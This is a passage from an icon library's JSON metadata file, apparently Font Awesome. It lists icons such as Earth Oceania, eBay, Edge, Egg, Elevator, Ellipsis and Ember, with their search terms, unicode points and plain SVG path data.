132.5-47.6 165.2-107.2zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zM187.3 100.7c-6.2-6.2-16.4-6.2-22.6 0l-32 32c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0l32-32c6.2-6.2 6.2-16.4 0-22.6z"
      }
    },
    "free": ["solid"]
  },
  "earth-oceania": {
    "aliases": {
      "names": ["globe-oceania"]
    },
    "changes": ["6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "all",
        "australia",
        "country",
        "earth",
        "global",
        "globe",
        "gps",
        "language",
        "localize",
        "location",
        "map",
        "melanesia",
        "micronesia",
        "new zealand",
        "online",
        "place",
        "planet",
        "polynesia",
        "translate",
        "travel",
        "world"
      ]
    },
    "styles": ["solid"],
    "unicode": "e47b",
    "label": "Earth Oceania",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767488,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM208.6 357.3l-39-13.5c-6.5-2.2-13.6-2.3-20.1-.3l-15.3 4.9c-18.5 5.9-38.5-2.4-47.5-19.5l-3.3-6.2c-10.6-20.1-2.3-45 18.2-54.7l35.3-16.8c2.3-1.1 4.4-2.8 5.9-4.8l5.3-7c7.2-9.6 18.6-15.3 30.6-15.3s23.4 5.7 30.6 15.3l4.6 6.1c2 2.6 4.9 4.5 8.1 5.1c7.8 1.6 15.7-1.5 20.4-7.9l10.4-14.2c2-2.8 5.3-4.4 8.7-4.4c4.4 0 8.4 2.7 10 6.8l10.1 25.9c2.8 7.2 6.7 14 11.5 20.2L311 299.8c5.8 7.4 9 16.6 9 26s-3.2 18.6-9 26L299 367.2c-8.3 10.6-21 16.8-34.4 16.8c-8.4 0-16.6-2.4-23.7-7l-25.4-16.4c-2.2-1.4-4.5-2.5-6.9-3.4zm65.2-214.8L296 164.7c10.1 10.1 2.9 27.3-11.3 27.3H254.8c-5.6 0-11.1-1.2-16.2-3.4l-42.8-19c-14.3-6.3-11.9-27.3 3.4-30.3l38.5-7.7c13.1-2.6 26.7 1.5 36.1 10.9zM248 432c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16s-7.2 16-16 16H264c-8.8 0-16-7.2-16-16zM431.2 298.9l8 24c2.8 8.4-1.7 17.4-10.1 20.2s-17.4-1.7-20.2-10.1l-8-24c-2.8-8.4 1.7-17.4 10.1-20.2s17.4 1.7 20.2 10.1zm-19.9 80.4l-32 32c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6l32-32c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM208.6 357.3l-39-13.5c-6.5-2.2-13.6-2.3-20.1-.3l-15.3 4.9c-18.5 5.9-38.5-2.4-47.5-19.5l-3.3-6.2c-10.6-20.1-2.3-45 18.2-54.7l35.3-16.8c2.3-1.1 4.4-2.8 5.9-4.8l5.3-7c7.2-9.6 18.6-15.3 30.6-15.3s23.4 5.7 30.6 15.3l4.6 6.1c2 2.6 4.9 4.5 8.1 5.1c7.8 1.6 15.7-1.5 20.4-7.9l10.4-14.2c2-2.8 5.3-4.4 8.7-4.4c4.4 0 8.4 2.7 10 6.8l10.1 25.9c2.8 7.2 6.7 14 11.5 20.2L311 299.8c5.8 7.4 9 16.6 9 26s-3.2 18.6-9 26L299 367.2c-8.3 10.6-21 16.8-34.4 16.8c-8.4 0-16.6-2.4-23.7-7l-25.4-16.4c-2.2-1.4-4.5-2.5-6.9-3.4zm65.2-214.8L296 164.7c10.1 10.1 2.9 27.3-11.3 27.3H254.8c-5.6 0-11.1-1.2-16.2-3.4l-42.8-19c-14.3-6.3-11.9-27.3 3.4-30.3l38.5-7.7c13.1-2.6 26.7 1.5 36.1 10.9zM248 432c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16s-7.2 16-16 16H264c-8.8 0-16-7.2-16-16zM431.2 298.9l8 24c2.8 8.4-1.7 17.4-10.1 20.2s-17.4-1.7-20.2-10.1l-8-24c-2.8-8.4 1.7-17.4 10.1-20.2s17.4 1.7 20.2 10.1zm-19.9 80.4l-32 32c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6l32-32c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6z"
      }
    },
    "free": ["solid"]
  },
  "ebay": {
    "changes": ["5.0.11", "5.7.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f4f4",
    "label": "eBay",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014474,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M606 189.5l-54.8 109.9-54.9-109.9h-37.5l10.9 20.6c-11.5-19-35.9-26-63.3-26-31.8 0-67.9 8.7-71.5 43.1h33.7c1.4-13.8 15.7-21.8 35-21.8 26 0 41 9.6 41 33v3.4c-12.7 0-28 .1-41.7.4-42.4.9-69.6 10-76.7 34.4 1-5.2 1.5-10.6 1.5-16.2 0-52.1-39.7-76.2-75.4-76.2-21.3 0-43 5.5-58.7 24.2v-80.6h-32.1v169.5c0 10.3-.6 22.9-1.1 33.1h31.5c.7-6.3 1.1-12.9 1.1-19.5 13.6 16.6 35.4 24.9 58.7 24.9 36.9 0 64.9-21.9 73.3-54.2-.5 2.8-.7 5.8-.7 9 0 24.1 21.1 45 60.6 45 26.6 0 45.8-5.7 61.9-25.5 0 6.6.3 13.3 1.1 20.2h29.8c-.7-8.2-1-17.5-1-26.8v-65.6c0-9.3-1.7-17.2-4.8-23.8l61.5 116.1-28.5 54.1h35.9L640 189.5zM243.7 313.8c-29.6 0-50.2-21.5-50.2-53.8 0-32.4 20.6-53.8 50.2-53.8 29.8 0 50.2 21.4 50.2 53.8 0 32.3-20.4 53.8-50.2 53.8zm200.9-47.3c0 30-17.9 48.4-51.6 48.4-25.1 0-35-13.4-35-25.8 0-19.1 18.1-24.4 47.2-25.3 13.1-.5 27.6-.6 39.4-.6zm-411.9 1.6h128.8v-8.5c0-51.7-33.1-75.4-78.4-75.4-56.8 0-83 30.8-83 77.6 0 42.5 25.3 74 82.5 74 31.4 0 68-11.7 74.4-46.1h-33.1c-12 35.8-87.7 36.7-91.2-21.6zm95-21.4H33.3c6.9-56.6 92.1-54.7 94.4 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M606 189.5l-54.8 109.9-54.9-109.9h-37.5l10.9 20.6c-11.5-19-35.9-26-63.3-26-31.8 0-67.9 8.7-71.5 43.1h33.7c1.4-13.8 15.7-21.8 35-21.8 26 0 41 9.6 41 33v3.4c-12.7 0-28 .1-41.7.4-42.4.9-69.6 10-76.7 34.4 1-5.2 1.5-10.6 1.5-16.2 0-52.1-39.7-76.2-75.4-76.2-21.3 0-43 5.5-58.7 24.2v-80.6h-32.1v169.5c0 10.3-.6 22.9-1.1 33.1h31.5c.7-6.3 1.1-12.9 1.1-19.5 13.6 16.6 35.4 24.9 58.7 24.9 36.9 0 64.9-21.9 73.3-54.2-.5 2.8-.7 5.8-.7 9 0 24.1 21.1 45 60.6 45 26.6 0 45.8-5.7 61.9-25.5 0 6.6.3 13.3 1.1 20.2h29.8c-.7-8.2-1-17.5-1-26.8v-65.6c0-9.3-1.7-17.2-4.8-23.8l61.5 116.1-28.5 54.1h35.9L640 189.5zM243.7 313.8c-29.6 0-50.2-21.5-50.2-53.8 0-32.4 20.6-53.8 50.2-53.8 29.8 0 50.2 21.4 50.2 53.8 0 32.3-20.4 53.8-50.2 53.8zm200.9-47.3c0 30-17.9 48.4-51.6 48.4-25.1 0-35-13.4-35-25.8 0-19.1 18.1-24.4 47.2-25.3 13.1-.5 27.6-.6 39.4-.6zm-411.9 1.6h128.8v-8.5c0-51.7-33.1-75.4-78.4-75.4-56.8 0-83 30.8-83 77.6 0 42.5 25.3 74 82.5 74 31.4 0 68-11.7 74.4-46.1h-33.1c-12 35.8-87.7 36.7-91.2-21.6zm95-21.4H33.3c6.9-56.6 92.1-54.7 94.4 0z"
      }
    },
    "free": ["brands"]
  },
  "edge": {
    "changes": ["4.5.0", "5.0.0", "5.12.1", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": ["browser", "ie"]
    },
    "styles": ["brands"],
    "unicode": "f282",
    "label": "Edge Browser",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014480,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M120.1 37.44C161.1 12.23 207.7-.7753 255 .0016C423 .0016 512 123.8 512 219.5C511.9 252.2 499 283.4 476.1 306.7C453.2 329.9 422.1 343.2 389.4 343.7C314.2 343.7 297.9 320.6 297.9 311.7C297.9 307.9 299.1 305.5 302.7 302.3L303.7 301.1L304.1 299.5C314.6 288 320 273.3 320 257.9C320 179.2 237.8 115.2 136 115.2C98.46 114.9 61.46 124.1 28.48 142.1C55.48 84.58 111.2 44.5 119.8 38.28C120.6 37.73 120.1 37.44 120.1 37.44V37.44zM135.7 355.5C134.3 385.5 140.3 415.5 152.1 442.7C165.7 469.1 184.8 493.7 208.6 512C149.1 500.5 97.11 468.1 59.2 422.7C21.12 376.3 0 318.4 0 257.9C0 206.7 62.4 163.5 136 163.5C172.6 162.9 208.4 174.4 237.8 196.2L234.2 197.4C182.7 215 135.7 288.1 135.7 355.5V355.5zM469.8 400L469.1 400.1C457.3 418.9 443.2 435.2 426.9 449.6C396.1 477.6 358.8 495.1 318.1 499.5C299.5 499.8 281.3 496.3 264.3 488.1C238.7 477.8 217.2 458.1 202.7 435.1C188.3 411.2 181.6 383.4 183.7 355.5C183.1 335.4 189.1 315.2 198.7 297.3C212.6 330.4 236.2 358.6 266.3 378.1C296.4 397.6 331.8 407.6 367.7 406.7C398.7 407 429.8 400 457.9 386.2L459.8 385.3C463.7 383 467.5 381.4 471.4 385.3C475.9 390.2 473.2 394.5 470.2 399.3C470 399.5 469.9 399.8 469.8 400V400z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M120.1 37.44C161.1 12.23 207.7-.7753 255 .0016C423 .0016 512 123.8 512 219.5C511.9 252.2 499 283.4 476.1 306.7C453.2 329.9 422.1 343.2 389.4 343.7C314.2 343.7 297.9 320.6 297.9 311.7C297.9 307.9 299.1 305.5 302.7 302.3L303.7 301.1L304.1 299.5C314.6 288 320 273.3 320 257.9C320 179.2 237.8 115.2 136 115.2C98.46 114.9 61.46 124.1 28.48 142.1C55.48 84.58 111.2 44.5 119.8 38.28C120.6 37.73 120.1 37.44 120.1 37.44V37.44zM135.7 355.5C134.3 385.5 140.3 415.5 152.1 442.7C165.7 469.1 184.8 493.7 208.6 512C149.1 500.5 97.11 468.1 59.2 422.7C21.12 376.3 0 318.4 0 257.9C0 206.7 62.4 163.5 136 163.5C172.6 162.9 208.4 174.4 237.8 196.2L234.2 197.4C182.7 215 135.7 288.1 135.7 355.5V355.5zM469.8 400L469.1 400.1C457.3 418.9 443.2 435.2 426.9 449.6C396.1 477.6 358.8 495.1 318.1 499.5C299.5 499.8 281.3 496.3 264.3 488.1C238.7 477.8 217.2 458.1 202.7 435.1C188.3 411.2 181.6 383.4 183.7 355.5C183.1 335.4 189.1 315.2 198.7 297.3C212.6 330.4 236.2 358.6 266.3 378.1C296.4 397.6 331.8 407.6 367.7 406.7C398.7 407 429.8 400 457.9 386.2L459.8 385.3C463.7 383 467.5 381.4 471.4 385.3C475.9 390.2 473.2 394.5 470.2 399.3C470 399.5 469.9 399.8 469.8 400V400z"
      }
    },
    "free": ["brands"]
  },
  "edge-legacy": {
    "changes": ["5.13.1", "5.14.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e078",
    "label": "Edge Legacy Browser",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014460,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M25.71,228.16l.35-.48c0,.16,0,.32-.07.48Zm460.58,15.51c0-44-7.76-84.46-28.81-122.4C416.5,47.88,343.91,8,258.89,8,119,7.72,40.62,113.21,26.06,227.68c42.42-61.31,117.07-121.38,220.37-125,0,0,109.67,0,99.42,105H170c6.37-37.39,18.55-59,34.34-78.93-75.05,34.9-121.85,96.1-120.75,188.32.83,71.45,50.13,144.84,120.75,172,83.35,31.84,192.77,7.2,240.13-21.33V363.31C363.6,419.8,173.6,424.23,172.21,295.74H486.29V243.67Z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M25.71,228.16l.35-.48c0,.16,0,.32-.07.48Zm460.58,15.51c0-44-7.76-84.46-28.81-122.4C416.5,47.88,343.91,8,258.89,8,119,7.72,40.62,113.21,26.06,227.68c42.42-61.31,117.07-121.38,220.37-125,0,0,109.67,0,99.42,105H170c6.37-37.39,18.55-59,34.34-78.93-75.05,34.9-121.85,96.1-120.75,188.32.83,71.45,50.13,144.84,120.75,172,83.35,31.84,192.77,7.2,240.13-21.33V363.31C363.6,419.8,173.6,424.23,172.21,295.74H486.29V243.67Z"
      }
    },
    "free": ["brands"]
  },
  "egg": {
    "aliases": {
      "unicodes": {
        "composite": ["1f95a"],
        "secondary": ["10f7fb"]
      }
    },
    "changes": ["5.7.0", "6.0.0-beta1", "6.2.0", "6.2.1", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "breakfast",
        "chicken",
        "easter",
        "egg",
        "food",
        "shell",
        "yolk"
      ]
    },
    "styles": ["solid"],
    "unicode": "f7fb",
    "label": "Egg",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767421,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M192 496C86 496 0 394 0 288C0 176 64 16 192 16s192 160 192 272c0 106-86 208-192 208zM154.8 134c6.5-6 7-16.1 1-22.6s-16.1-7-22.6-1c-23.9 21.8-41.1 52.7-52.3 84.2C69.7 226.1 64 259.7 64 288c0 8.8 7.2 16 16 16s16-7.2 16-16c0-24.5 5-54.4 15.1-82.8c10.1-28.5 25-54.1 43.7-71.2z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M192 496C86 496 0 394 0 288C0 176 64 16 192 16s192 160 192 272c0 106-86 208-192 208zM154.8 134c6.5-6 7-16.1 1-22.6s-16.1-7-22.6-1c-23.9 21.8-41.1 52.7-52.3 84.2C69.7 226.1 64 259.7 64 288c0 8.8 7.2 16 16 16s16-7.2 16-16c0-24.5 5-54.4 15.1-82.8c10.1-28.5 25-54.1 43.7-71.2z"
      }
    },
    "free": ["solid"]
  },
  "eject": {
    "aliases": {
      "unicodes": {
        "composite": ["23cf"],
        "secondary": ["10f052"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["abort", "cancel", "cd", "discharge", "eject", "eject button"]
    },
    "styles": ["solid"],
    "unicode": "f052",
    "label": "Eject",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766676,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224 32c13.5 0 26.3 5.6 35.4 15.6l176 192c12.9 14 16.2 34.3 8.6 51.8S419 320 400 320H48c-19 0-36.3-11.2-43.9-28.7s-4.3-37.7 8.6-51.8l176-192C197.7 37.6 210.5 32 224 32zM0 432c0-26.5 21.5-48 48-48H400c26.5 0 48 21.5 48 48s-21.5 48-48 48H48c-26.5 0-48-21.5-48-48z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M224 32c13.5 0 26.3 5.6 35.4 15.6l176 192c12.9 14 16.2 34.3 8.6 51.8S419 320 400 320H48c-19 0-36.3-11.2-43.9-28.7s-4.3-37.7 8.6-51.8l176-192C197.7 37.6 210.5 32 224 32zM0 432c0-26.5 21.5-48 48-48H400c26.5 0 48 21.5 48 48s-21.5 48-48 48H48c-26.5 0-48-21.5-48-48z"
      }
    },
    "free": ["solid"]
  },
  "elementor": {
    "changes": ["5.0.3", "6.1.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f430",
    "label": "Elementor",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014467,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M.361 256C.361 397 114 511 255 511C397 511 511 397 511 256C511 116 397 2.05 255 2.05C114 2.05 .361 116 .361 256zM192 150V363H149V150H192zM234 150H362V193H234V150zM362 235V278H234V235H362zM234 320H362V363H234V320z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M.361 256C.361 397 114 511 255 511C397 511 511 397 511 256C511 116 397 2.05 255 2.05C114 2.05 .361 116 .361 256zM192 150V363H149V150H192zM234 150H362V193H234V150zM362 235V278H234V235H362zM234 320H362V363H234V320z"
      }
    },
    "free": ["brands"]
  },
  "elevator": {
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["accessibility", "elevator", "hoist", "lift", "users-people"]
    },
    "styles": ["solid"],
    "unicode": "e16d",
    "label": "Elevator",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767620,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M132.7 4.7l-64 64c-4.6 4.6-5.9 11.5-3.5 17.4s8.3 9.9 14.8 9.9H208c6.5 0 12.3-3.9 14.8-9.9s1.1-12.9-3.5-17.4l-64-64c-6.2-6.2-16.4-6.2-22.6 0zM64 128c-35.3 0-64 28.7-64 64V448c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V192c0-35.3-28.7-64-64-64H64zm96 96a48 48 0 1 1 0 96 48 48 0 1 1 0-96zM80 400c0-26.5 21.5-48 48-48h64c26.5 0 48 21.5 48 48v16c0 17.7-14.3 32-32 32H112c-17.7 0-32-14.3-32-32V400zm192 0c0-26.5 21.5-48 48-48h64c26.5 0 48 21.5 48 48v16c0 17.7-14.3 32-32 32H304c-17.7 0-32-14.3-32-32V400zm32-128a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zM356.7 91.3c6.2 6.2 16.4 6.2 22.6 0l64-64c4.6-4.6 5.9-11.5 3.5-17.4S438.5 0 432 0H304c-6.5 0-12.3 3.9-14.8 9.9s-1.1 12.9 3.5 17.4l64 64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M132.7 4.7l-64 64c-4.6 4.6-5.9 11.5-3.5 17.4s8.3 9.9 14.8 9.9H208c6.5 0 12.3-3.9 14.8-9.9s1.1-12.9-3.5-17.4l-64-64c-6.2-6.2-16.4-6.2-22.6 0zM64 128c-35.3 0-64 28.7-64 64V448c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V192c0-35.3-28.7-64-64-64H64zm96 96a48 48 0 1 1 0 96 48 48 0 1 1 0-96zM80 400c0-26.5 21.5-48 48-48h64c26.5 0 48 21.5 48 48v16c0 17.7-14.3 32-32 32H112c-17.7 0-32-14.3-32-32V400zm192 0c0-26.5 21.5-48 48-48h64c26.5 0 48 21.5 48 48v16c0 17.7-14.3 32-32 32H304c-17.7 0-32-14.3-32-32V400zm32-128a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zM356.7 91.3c6.2 6.2 16.4 6.2 22.6 0l64-64c4.6-4.6 5.9-11.5 3.5-17.4S438.5 0 432 0H304c-6.5 0-12.3 3.9-14.8 9.9s-1.1 12.9 3.5 17.4l64 64z"
      }
    },
    "free": ["solid"]
  },
  "ellipsis": {
    "aliases": {
      "names": ["ellipsis-h"],
      "unicodes": {
        "secondary": ["10f141"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "dots",
        "drag",
        "kebab",
        "list",
        "menu",
        "nav",
        "navigation",
        "ol",
        "pacman",
        "reorder",
        "settings",
        "ul"
      ]
    },
    "styles": ["solid"],
    "unicode": "f141",
    "label": "Ellipsis",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767206,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M8 256a56 56 0 1 1 112 0A56 56 0 1 1 8 256zm160 0a56 56 0 1 1 112 0 56 56 0 1 1 -112 0zm216-56a56 56 0 1 1 0 112 56 56 0 1 1 0-112z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M8 256a56 56 0 1 1 112 0A56 56 0 1 1 8 256zm160 0a56 56 0 1 1 112 0 56 56 0 1 1 -112 0zm216-56a56 56 0 1 1 0 112 56 56 0 1 1 0-112z"
      }
    },
    "free": ["solid"]
  },
  "ellipsis-vertical": {
    "aliases": {
      "names": ["ellipsis-v"],
      "unicodes": {
        "secondary": ["10f142"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "dots",
        "drag",
        "kebab",
        "list",
        "menu",
        "nav",
        "navigation",
        "ol",
        "reorder",
        "settings",
        "ul"
      ]
    },
    "styles": ["solid"],
    "unicode": "f142",
    "label": "Ellipsis Vertical",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767206,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 128 512\"><path d=\"M64 360a56 56 0 1 0 0 112 56 56 0 1 0 0-112zm0-160a56 56 0 1 0 0 112 56 56 0 1 0 0-112zM120 96A56 56 0 1 0 8 96a56 56 0 1 0 112 0z\"/></svg>",
        "viewBox": [0, 0, 128, 512],
        "width": 128,
        "height": 512,
        "path": "M64 360a56 56 0 1 0 0 112 56 56 0 1 0 0-112zm0-160a56 56 0 1 0 0 112 56 56 0 1 0 0-112zM120 96A56 56 0 1 0 8 96a56 56 0 1 0 112 0z"
      }
    },
    "free": ["solid"]
  },
  "ello": {
    "changes": ["5.2.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f5f1",
    "label": "Ello",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014470,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm143.84 285.2C375.31 358.51 315.79 404.8 248 404.8s-127.31-46.29-143.84-111.6c-1.65-7.44 2.48-15.71 9.92-17.36 7.44-1.65 15.71 2.48 17.36 9.92 14.05 52.91 62 90.11 116.56 90.11s102.51-37.2 116.56-90.11c1.65-7.44 9.92-12.4 17.36-9.92 7.44 1.65 12.4 9.92 9.92 17.36z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm143.84 285.2C375.31 358.51 315.79 404.8 248 404.8s-127.31-46.29-143.84-111.6c-1.65-7.44 2.48-15.71 9.92-17.36 7.44-1.65 15.71 2.48 17.36 9.92 14.05 52.91 62 90.11 116.56 90.11s102.51-37.2 116.56-90.11c1.65-7.44 9.92-12.4 17.36-9.92 7.44 1.65 12.4 9.92 9.92 17.36z"
      }
    },
    "free": ["brands"]
  },
  "ember": {
    "changes": ["5.0.0", "5.0.3"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f423",
    "label": "Ember",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014459,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M639.9 254.6c-1.1-10.7-10.7-6.8-10.7-6.8s-15.6 12.1-29.3 10.7c-13.7-1.3-9.4-32-9.4-32s3-28.1-5.1-30.4c-8.1-2.4-18 7.3-18 7.3s-12.4 13.7-18.3 31.2l-1.6.5s1.9-30.6-.3-37.6c-1.6-3.5-16.4-3.2-18.8 3s-14.2 49.2-15 67.2c0 0-23.1 19.6-43.3 22.8s-25-9.4-25-9.4 54.8-15.3 52.9-59.1-44.2-27.6-49-24c-4.6 3.5-29.4 18.4-36.6 59.7-.2 1.4-.7 7.5-.7 7.5s-21.2 14.2-33 18c0 0 33-55.6-7.3-80.9-11.4-6.8-21.3-.5-27.2 5.3 13.6-17.3 46.4-64.2 36.9-105.2-5.8-24.4-18-27.1-29.2-23.1-17 6.7-23.5 16.7-23.5 16.7s-22 32-27.1 79.5-12.6 105.1-12.6 105.1-10.5 10.2-20.2 10.7-5.4-28.7-5.4-28.7 7.5-44.6 7-52.1-1.1-11.6-9.9-14.2c-8.9-2.7-18.5 8.6-18.5 8.6s-25.5 38.7-27.7 44.6l-1.3 2.4-1.3-1.6s18-52.7.8-53.5-28.5 18.8-28.5 18.8-19.6 32.8-20.4 36.5l-1.3-1.6s8.1-38.2 6.4-47.6c-1.6-9.4-10.5-7.5-10.5-7.5s-11.3-1.3-14.2 5.9-13.7 55.3-15 70.7c0 0-28.2 20.2-46.8 20.4-18.5.3-16.7-11.8-16.7-11.8s68-23.3 49.4-69.2c-8.3-11.8-18-15.5-31.7-15.3-13.7.3-30.3 8.6-41.3 33.3-5.3 11.8-6.8 23-7.8 31.5 0 0-12.3 2.4-18.8-2.9s-10 0-10 0-11.2 14-.1 18.3 28.1 6.1 28.1 6.1c1.6 7.5 6.2 19.5 19.6 29.7 20.2 15.3 58.8-1.3 58.8-1.3l15.9-8.8s.5 14.6 12.1 16.7 16.4 1 36.5-47.9c11.8-25 12.6-23.6 12.6-23.6l1.3-.3s-9.1 46.8-5.6 59.7C187.7 319.4 203 318 203 318s8.3 2.4 15-21.2 19.6-49.9 19.6-49.9h1.6s-5.6 48.1 3 63.7 30.9 5.3 30.9 5.3 15.6-7.8 18-10.2c0 0 18.5 15.8 44.6 12.9 58.3-11.5 79.1-25.9 79.1-25.9s10 24.4 41.1 26.7c35.5 2.7 54.8-18.6 54.8-18.6s-.3 13.5 12.1 18.6 20.7-22.8 20.7-22.8l20.7-57.2h1.9s1.1 37.3 21.5 43.2 47-13.7 47-13.7 6.4-3.5 5.3-14.3zm-578 5.3c.8-32 21.8-45.9 29-39 7.3 7 4.6 22-9.1 31.4-13.7 9.5-19.9 7.6-19.9 7.6zm272.8-123.8s19.1-49.7 23.6-25.5-40 96.2-40 96.2c.5-16.2 16.4-70.7 16.4-70.7zm22.8 138.4c-12.6 33-43.3 19.6-43.3 19.6s-3.5-11.8 6.4-44.9 33.3-20.2 33.3-20.2 16.2 12.4 3.6 45.5zm84.6-14.6s-3-10.5 8.1-30.6c11-20.2 19.6-9.1 19.6-9.1s9.4 10.2-1.3 25.5-26.4 14.2-26.4 14.2z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M639.9 254.6c-1.1-10.7-10.7-6.8-10.7-6.8s-15.6 12.1-29.3 10.7c-13.7-1.3-9.4-32-9.4-32s3-28.1-5.1-30.4c-8.1-2.4-18 7.3-18 7.3s-12.4 13.7-18.3 31.2l-1.6.5s1.9-30.6-.3-37.6c-1.6-3.5-16.4-3.2-18.8 3s-14.2 49.2-15 67.2c0 0-23.1 19.6-43.3 22.8s-25-9.4-25-9.4 54.8-15.3 52.9-59.1-44.2-27.6-49-24c-4.6 3.5-29.4 18.4-36.6 59.7-.2 1.4-.7 7.5-.7 7.5s-21.2 14.2-33 18c0 0 33-55.6-7.3-80.9-11.4-6.8-21.3-.5-27.2 5.3 13.6-17.3 46.4-64.2 36.9-105.2-5.8-24.4-18-27.1-29.2-23.1-17 6.7-23.5 16.7-23.5 16.7s-22 32-27.1 79.5-12.6 105.1-12.6 105.1-10.5 10.2-20.2 10.7-5.4-28.7-5.4-28.7 7.5-44.6 7-52.1-1.1-11.6-9.9-14.2c-8.9-2.7-18.5 8.6-18.5 8.6s-25.5 38.7-27.7 44.6l-1.3 2.4-1.3-1.6s18-52.7.8-53.5-28.5 18.8-28.5 18.8-19.6 32.8-20.4 36.5l-1.3-1.6s8.1-38.2 6.4-47.6c-1.6-9.4-10.5-7.5-10.5-7.5s-11.3-1.3-14.2 5.9-13.7 55.3-15 70.7c0 0-28.2 20.2-46.8 20.4-18.5.3-16.7-11.8-16.7-11.8s68-23.3 49.4-69.2c-8.3-11.8-18-15.5-31.7-15.3-13.7.3-30.3 8.6-41.3 33.3-5.3 11.8-6.8 23-7.8 31.5 0 0-12.3 2.4-18.8-2.9s-10 0-10 0-11.2 14-.1 18.3 28.1 6.1 28.1 6.1c1.6 7.5 6.2 19.5 19.6 29.7 20.2 15.3 58.8-1.3 58.8-1.3l15.9-8.8s.5 14.6 12.1 16.7 16.4 1 36.5-47.9c11.8-25 12.6-23.6 12.6-23.6l1.3-.3s-9.1 